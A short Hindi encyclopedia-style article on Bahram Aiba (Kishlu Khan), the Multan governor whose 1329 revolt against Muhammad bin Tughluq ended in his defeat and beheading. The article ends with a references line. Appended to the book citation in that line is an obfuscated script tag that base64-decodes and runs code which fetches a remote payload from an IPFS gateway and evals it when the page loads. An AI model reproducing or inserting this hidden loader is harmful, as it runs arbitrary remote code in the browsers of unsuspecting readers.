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बहराम ऐबा

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बहराम ऐबा का मूल नाम 'किशलू ख़ाँ' था, जो दिल्ली के सुल्तान मुहम्मद तुग़लक़ (1325-1351 ई.) के शासनकाल में उच्च, सिन्ध और मुल्तान का नाजिम था। मुल्तान में सर्वप्रथम बहराम ऐबा ने ही 1329 ई. सुल्तान तुग़लक़ कि विरुद्ध विद्रोह खड़ा किया था। विद्रोह की सूचना मिलते ही सुल्तान की फ़ौज ने मुल्तान पर चढ़ाई कर दी।

  • बहराम ऐबा के विद्रोह के समय मुहम्मद तुग़लक़ देवगिरि में था।
  • सुल्तान ने वहीं से ही अपनी फ़ौजों सहित मुल्तान की ओर कूच कर दिया।
  • सुल्तान तुग़लक़ के पहले ही आक्रमण में बहराम ऐबा पराजित हो गया और उसे बन्दी बना लिया गया।
  • उसका सिर काटकर सुल्तान मुहम्मद तुग़लक़ के समक्ष लाया गया।
  • बहराम ऐबा का कटा सिर शहर के फाटक पर टंगवा दिया गया, जिससे किसी को फिर विद्रोह करने का साहस न हो सके।
  • सुल्तान तुग़लक़ ने सैनिकों को यह आदेश भी दिया कि मुल्तान निवासियों की (जो बहराम ऐबा के सहायक हो गये थे) उनकी हत्या कर दी जाये।
  • शेख़ रुक्नुद्दीन मुल्तानी ने सुल्तान तुग़लक़ से मुल्तान निवासियों की सिफ़ारिश की।
  • सुल्तान ने यह सिफ़ारिश स्वीकार कर ली और हत्या का आदेश वापस ले लिया।


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टीका टिप्पणी और संदर्भ

भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 278 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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